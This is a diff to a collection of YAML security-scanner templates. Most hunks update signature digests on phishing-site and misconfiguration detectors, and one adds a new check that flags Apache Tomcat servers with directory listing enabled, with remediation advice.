+          - 'User-agent:'
 
       - type: word
-        part: header
+        part: content_type
         words:
           - text/plain
 
-      - type: dsl
-        dsl:
-          - "len(body)>=140 && status_code==200"
-# digest: 490a004630440220483c89872ac45742f715d053eb97b7b97c1a23e981027e2cb467df256ea0dca4022047fbfda47c570bf41d34c4ddf5d76df4d2fa6bc27a4856d0ff95cdb944aa1203:922c64590222798bb761d5b6d8e72950
+      - type: status
+        status:
+          - 200
+# digest: 4b0a0048304602210085c101f3172bdbe7d5b364c00bfad8ac617053a3dd0fb8d491f14ecf08589c35022100937a5aa0ab732fee9e5a03926fbe02730f142af9cc4a322d0ddb36612f707766:922c64590222798bb761d5b6d8e72950

http/miscellaneous/seized-site.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402204993ec31e3a820e75dc7b3cb9b5891d56b592804ae775c772a06969d6667639d022045b6878c8a6d7b9a1be2b1da09c5320c774117e70931f2f113166d6520979682:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a3e1d4efd06d47cdc3596b06aec304d19e1bfe5391d0154cf07284cae72431f502205901922b6373a71d80c95a14d392353e43504ade8e26c687536c89b6e2d60b18:922c64590222798bb761d5b6d8e72950

http/miscellaneous/torrent-website-detect.yaml

@@ -37,4 +37,4 @@ http:
         part: body
         regex:
           - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 4a0a00473045022030abc3a9d5144473c7aab2f8b3b586d8fd627f532f8c6123ad3728397d877d290221009e1b2529be022d60ca76ebcae196b276fec0db217ea52b2addcbeeab730da567:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a8e31d7b341afe42fa04c121edaeefe2056b408a314af0a041ecf6a83b40a77202207f53148dc85d26f4fd42e3a0234efb5f4474affa45145a15576265d2c8c0cbf8:922c64590222798bb761d5b6d8e72950

http/misconfiguration/manage-cabinet-register.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502203c133e47e88d30541cb4b5c1c9b0031cdaf6e4d647a2298ca588af4469756a2d0221008244462f3e0d65acafb4bfc6a5f4298d7970e489b280b73e1b4cd3504f68c9ef:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ebcde312beb22228154959b6736b090267dac3ddcbfca76ccad4d915367eb71e022040c00aed51b59306734292daab258b301d85d83aad55cbe7e15f32a74901f71f:922c64590222798bb761d5b6d8e72950

http/misconfiguration/tomcat-directory-listing.yaml

@@ -0,0 +1,43 @@
+id: tomcat-directory-listing
+
+info:
+  name: Apache Tomcat - Directory Listing Enabled
+  author: oleveloper
+  severity: medium
+  description: |
+    Directory listing is enabled on the Apache Tomcat server, allowing users to view the contents of web directories.This could lead to unauthorized access to sensitive files and potential information disclosure.
+  remediation: |
+    Disable directory listings by setting the listings parameter to false in the web.xml under the DefaultServlet. This helps prevent unauthorized directory browsing and protects sensitive files.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: apache
+    product: tomcat
+    shodan-query: title:"Apache Tomcat"
+  tags: tomcat,misconfig,listing,kisa
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Directory Listing For"
+          - "<a href="
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - "(?i)content-type:.*text/html"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450220589eecba207bd37070f3810a48ab99322c121868ec8d16cda81a507ad3258ec302210094f3f14a88fea35c3c3f8fb000fbaf06acf89a8f5d17bc5f319a66ade981015c:922c64590222798bb761d5b6d8e72950

http/misconfiguration/unigui-server-monitor-exposure.yaml

@@ -33,4 +33,4 @@ http:
           - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
           - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
         condition: or
-# digest: 4b0a0048304602210095f70d8fd2632a13781d46db21778ec36d6b05dee2a5aafb6f2a17609510ee93022100b057ac6491bd1e4a294e3b7229171c62a4df476fce11dc88b3179f00f74af205:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022068d0bd222a4def00dba049d3f48e551affb3f51ef72af298805f42df8afa23cf02204200fb5494c7ae85bf4c384fee8138eb9af8af21837bd053d85d99657fafc8c5:922c64590222798bb761d5b6d8e72950

http/osint/phishing/1password-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"1password.com")'
-# digest: 4a0a00473045022100c7a08afd1f37614c2e5b654d3eab78eee20fb2f68582906a9c8d19fc0a84e8710220676242020e48c50fde44707e8f38b4caaaf6ec61f5b8add2cd87d382ca5f7d1f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bf62efe8095429b8c8c0f81cb73a4f21b8baf8f3355728aa1618cf3f6ca572a9022100adcba104a0640398ff986481bbcad3b3d0670970b5f959b76663baf0b6d5e7bf:922c64590222798bb761d5b6d8e72950

http/osint/phishing/adobe-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"adobe.com")'
-# digest: 4a0a004730450221008eb5a81d295f03bf41c6cfc8ecfb5ee1e70b755d093022c8d254a4dc37f0947802204ec53a6fee3bc9454e0190cd8aae84088701ff72d75b647fd1a2efa4b955ed1f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b261669f4339cbbfa76f2de683afea0ea1951fe0de0cbebb71fc0ff6ecfb30300220392c439fdd894af59933c6ab4926e04b79d9193b777f9268c72abd5c685429ad:922c64590222798bb761d5b6d8e72950

http/osint/phishing/aliexpress-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"aliexpress.com")'
-# digest: 490a0046304402205bed301b043b875bc23591959c4946bf1f43c9d7c8f835d31fcb224d50fc5c4502204510ec4fb9646ddc8bb2952a945e3b723abf0c2d4e0a68978ed33963c8af7d79:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022046cea850af61784d948b0dfea85c892e241ffcfbc88d94bf2f4577416aa2d9650220045a2a6c01c57545dec23062fda51b96376fa4ef366178b62e3f31c3999140ed:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-phish.yaml

@@ -51,4 +51,4 @@ http:
           - '!contains(host,"amazon.ae")'
           - '!contains(host,"amazon.com.tr")'
         condition: and
-# digest: 4b0a00483046022100ca310f11fd53f312beca423bc141dd1d75b63ac9b988a5ca5e972751df6988e50221009a8eda2953f5838d5a782585205e241be196a115128918b90c3af5ad30093850:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008c680ad267eda67a2bad622b0480124f4f5c684560d31954440d3cdce20c4b0a022057939c0a3c1edd09ca82787a870622a9438d81c170657fa38f55acd4bd27a867:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-web-services-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"amazon.com")'
-# digest: 4a0a0047304502204f15365d194d3bf7be2f6c8613c02ceb9cf8119cec8f5deb2ff09d1a8a9877e7022100d0a803a8488340351aa8a4b5a08c93275669208c42c71a81ede1f2fed06a9eee:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b53a2aca9f6eb269a4668f229894c61a1a8570d161b21d255fd0ad39a70dc508022071334b952f68b06c345852c75be6b32c8ff401a69f56ed2b538da4a56fbe373a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/american-express-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"americanexpress.com")'
-# digest: 490a00463044022076dceaaee81598ddb1f37d0639c97668e5ab3048dff51062dfe59fee8a1e2dcd0220165b7da6dfa94d593016658a47a235232ea8209f29f5ce4ba54cb0df8bdb299a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022010ccaa8e1525a0af8fc8bb71f4a8fc75318ece2236a299efac136052dffeadf9022002ac3184ba896630001ea0c613d1c571d5b7647fdf5675f98d6fbcdd4bc2517b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/anydesk-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"anydesk.com")'
-# digest: 4a0a00473045022029c4226a6de922e8ac57f539436b94bc865833f2ad7da549b9521cf4a1a0014c022100cf96b6769e4d64d8df5d755bf840545f97a6ee11265aaf2fa24c33a8e9f80b42:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009ca156a513bfba602b04b608848e55cd0250569b73d6d7f6aa533ac41c48b15002206535864b994f164032be96e97c87f3400f216f822f7323cb80933d3682146900:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avast-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avast.com")'
-# digest: 4a0a004730450220402a59959a78714afa45a6b3e76f02fcb7926f6f6a40e72557772ee6a54c50b4022100fe1f11cf94cb23f94c13732d19407fde8a6cf7db79c23b7df944c7afbeb737c4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c581e11f21d6c4cb6ef15c3300e63d6e219a4b9e0a9188a15121cf7697f55a560220402ef585ac988804ffe8502a0013f1106e22ca6c38bc043e4dcf5f841d135c1d:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avg-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avg.com")'
-# digest: 4a0a004730450220749b6f36b01c34fca346b903056c9bbbd77242a7530a2816c9822e5f4f691c30022100db9273d63ebe5865c38a13b5bdf305e3ade2402e89688d492e11b4f68dacc674:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008c6acbfcce8be79b9bafc3cfad0a469a282cb23b9796822f9ff1adae6c3653b70220647b43c2c0c887e564ebe920d62d4aece7ea8004fbcf6f7a608c720441e16bbe:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bank-of-america-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bankofamerica.com")'
-# digest: 4a0a00473045022100ba56df5f0d54ad15a02d899a430bcad6c79a81fab239ff6833eacaa65e4724d2022006876918347785b653a74b6196698124c0b42c8532990d3d0bc8e74d633fa47f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205ed372f81333b56ee1f3486b6115ffa81e73842e2b3b7ce49d52b3ee9c047abe0220283ebae0583e63892b190ff6c4cc097530eee4c26f58bdadabd6c991c41468c5:922c64590222798bb761d5b6d8e72950

http/osint/phishing/battlenet-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"battle.net")'
           - '!contains(host,"blizzard.com")'
-# digest: 490a0046304402201efe66fb92f222a678a629d8e5b850920bb88cfad1744c2a7f6a2aa1bd7dfd0b022069a876311b8ec4c4a1a19cada8bc685c18e8a53ee638d37915992a93db8cb119:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cb4c860322ecb9d8a7662600f17b8791978ca8ff200eb582f6a8a05001e5ca47022070903b7513c61eca5f0060c74b6407eba65bf0133c6bdb2b9435412ba450096a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bestbuy-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bestbuy.com")'
-# digest: 4b0a00483046022100b91b669381cbf745cb490c21d92f06a7f4b7805b219308ed944beaae78381e58022100ac4e542027317e3c449d05bc435c52939c6f7024a374e50ad2910ad36725211c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202552898b4269f8e0504b425dd2fc96b6be07f3274a7be93b54dd01908d2a3eb9022100c1f984e2ba7c732b503bcd370ce7d20a68b87d700d254508fcf0a2143b6ab066:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitdefender-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"bitdefender.com")'
           - '!contains(host,"bitdefender.co.uk")'
-# digest: 4b0a00483046022100837b57c31e9d5707311abd0bd632e3105f832031fb946d065686c993c57de220022100868a6a1eb40738d59a58ee0ad8d4172d61e035fa94eda701cbb23180638a419d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008a49ba52c2be3c4c8fbb8da728c0ce148b7ba6d2237186d4f4e7029cecb25b4f022100cb87f5dde086ffe583c4c4c0f2e2fa73398acb5adbab72d9b9eea80f95d5e435:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitwarden-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bitwarden.com")'
-# digest: 4b0a00483046022100ea0c5c593aaff48b336c50d15fe9d37607009405687c658190a6b414256abf48022100a73db8420bd0f1de8d52ec8cf5e7b39658ff614fb7431fa8ebc21cb7be27a6a5:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204879a9b7cd61006cb1538550667da30f37b573ceb9c2d32a8198bc5db354a47902205a7eb903ff96f37c40da1f04ea6b47477d9510a48b02a3ec1f34db6fc3fcd7d9:922c64590222798bb761d5b6d8e72950

http/osint/phishing/blender-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"blender.org")'
-# digest: 4b0a00483046022100e816ec40b94a79f21668040b7f71b0916f137f3ce57d1ad26691954bb41d23e0022100c1e2b8025c51687164b18c71c0a414b8c9f1e70ca704fbdc357ddf03340f856b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100df640d7bbd5a9d80394835c61ad18fddcd0ff5b8d686fd14ec60cb1160d19c7702202bb274be5898d7d6fb39e848b9ec6c57bc573df9f3b9a05210a06f86e3c4d0d2:922c64590222798bb761d5b6d8e72950

http/osint/phishing/booking-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"booking.com")'
-# digest: 4a0a00473045022051ed784d10a84b43fc40f060bdab1e89ae9aee7d27b2f5268c25761106594622022100c71a3352f310440c1957c876c204b8e53c8759aebd2bdd88072471b9cb887ed3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ec344c0347cdc88596771f3518d48e44585547b7928409d0e92cb71515fd6808022100a861602104c27cdcb8af71db2140b919e19725a8d4cb1d6b5fe7b903f19e092d:922c64590222798bb761d5b6d8e72950

http/osint/phishing/box-storage-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"box.com")'
-# digest: 490a0046304402202a96d9b4c4b3c612427a996b0a5496a4bb090b541b6d577b579ea36afc75c9d70220329bce2962d665b09ff12bf1c57d789546f829d8ac304f43278850edc7a9ed6d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2de11f1474f425d3717c2fc41fc56f59d52a0b7bc83a2c8d91c41dc67f8f10c022100d5ac811a175e5f7548173eb79c6aa24d2159fd8fb37c951c38499748855ee77b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brave-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brave.com")'
-# digest: 4a0a00473045022100eeccbe89da73b8c7afaefe057c25cb8b110791b38433e0bbe0483f5bba28f5c7022075858cdf6af30966e9312084b7bdeed0015433685478c2b576ee377d3b427c7c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b88f549b375bc91fd64ed48dac49f3709c76f6c984d1d6a8321fd9c0d1fd8d2002203e455dcaf20b2850e12d45c4465c21739df574a3561f8713c514a09ca4582776:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brighthr-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brighthr.com")'
-# digest: 4a0a00473045022100fcef924da157bfad6dd685499228d5ac09186189fb8e10a3531fd4e470f9c5fe02206974e30751354671525e321eb91ce9a8decb2a262261b4239f3d83b91d628e2d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cfe22da951a4ef970841c05162bd6c884e7cc8bafc8bfc8ba17b30ad1cf31d4502202999da3415fb93d46305a2b51ebb2cf2b71b5677c56b150494259f7c433917cd:922c64590222798bb761d5b6d8e72950

http/osint/phishing/ccleaner-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"ccleaner.com")'
-# digest: 4b0a00483046022100bfbcbe2acb32e99c730525ac658a7777d0259460c62d6ac5eaa9178f56e1b621022100b8f1d2c153db7017f0d49efdb2fa4ebcef806a3dbb8c89d4a748986b1fa1b090:922c64590222798bb761d5b6d8e72950
+# digest: 480a00453043021f5f66a2d3dd22d26e66b5ca2e8982f89c9973e5679e94add9d61d2ee704554202207698fedb3bace89d80f85dc2b0000c82d04283ba5ce6c97cb55a80c7677b58b3:922c64590222798bb761d5b6d8e72950

http/osint/phishing/chase-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"chase.com")'
-# digest: 4a0a00473045022003159adc1cc87d8920c39012c229812d73df820a079d0a17b92016ac6e4515a3022100df56581cc3562119f5855318c3ce93f5da4467448b256a01e0823f3d90adb160:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205240d53f512448dc6c303ac522a67d9ba44f920f66a3d1e5b1094cadd24b10c8022100a693b9d4dcef5d29cbcaf8731b221b96e68a2af7039a6f643e48416760b91609:922c64590222798bb761d5b6d8e72950

http/osint/phishing/chrome-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"google.com")'
-# digest: 4a0a00473045022032a5f9f0f875cc96c9837d3939e48f9c1f8a78e62c899e7980e142108d423a0f02210083fd8d661874d03baa71af856bf0e83df9993a66c8256f2f0f95e6cba45631b5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009e9fe14a3f14e1e602c3c51785ad654c018f24e0f6cbba0391ec233c2c03a3cd022100e8851fe6a66287ec03a11e3b5cfce53ecf7a75f475922f26c8cb4ef53e3e69af:922c64590222798bb761d5b6d8e72950

http/osint/phishing/costa-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"costa.co.uk")'
-# digest: 4a0a00473045022100a77bb1d5ca1627452d239fb24abc3c04314ed6f67b0c450b81f526253568bc0c0220558f72fbe34001520886ed22b19c0e2346470556d15b15954641a4845b7dafe6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022012eb93662a7e5edea6c3c91c8111af7391277dd00182ed0895e753284db8957d022052f991f6ee2c950cb3f027fcf1d57b0e9159c10d8f0695567841043ee7bf2e8a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/dashlane-phish.yaml

@@ -34,4 +34,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"dashlane.com")'
-# digest: 4a0a004730450220782cf52aabc1e1c453f26d25b404ab0fa937ec1a30a8dfdc2a2d6acb4e3bb1a9022100b6a619d32b4b4fb44bd18673be1cd59f09a8fbb02887ba62889e73fc8de32ca5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220288e4220a117fbe62eb424ba7742ba9763906a97f25d942dc4e61f8a847cd6e2022100cde5a12164fc9f1ad174ebe5d3a0b5bea1cf8cd3a59126b24989f655402db246:922c64590222798bb761d5b6d8e72950

http/osint/phishing/deezer-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"deezer.com")'
-# digest: 4b0a00483046022100fc5363ae4eb8e6327ca15b5b30b983948277e38627fff50ad1aee57ae07ded1e02210085b6430cd4c44f50118bc21b34724ea0e601ae27e138b5a20b39ec1c84656d91:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220556e913066f66fadb72f7909f0a5627f913c8687123587ccce212a7cc95add8d02205b923262b786f520f0980c41a87f7f373e5966fabbac415cfb5355bfd5b52a39:922c64590222798bb761d5b6d8e72950

http/osint/phishing/deliveroo-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"deliveroo.com")'
           - '!contains(host,"deliveroo.co.uk")'
-# digest: 4a0a00473045022100d210ff516a4c9f4046064f9f734d45ab47fdd763b3f2238f1152ce342272f56c022044cc324d62bce2aed0767584b0e809647ed3b6c4e80a8c29059356f346008167:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220758bd64e92076ef09d8a385d4614439790fd6bdf970d27172ed0314c2232f2ef02201a573b8756e9c7d8d2757a4057c5c63a05e7142a363f7dab7c5092cff4e8835a:922c64590222798bb761d5b6d8e72950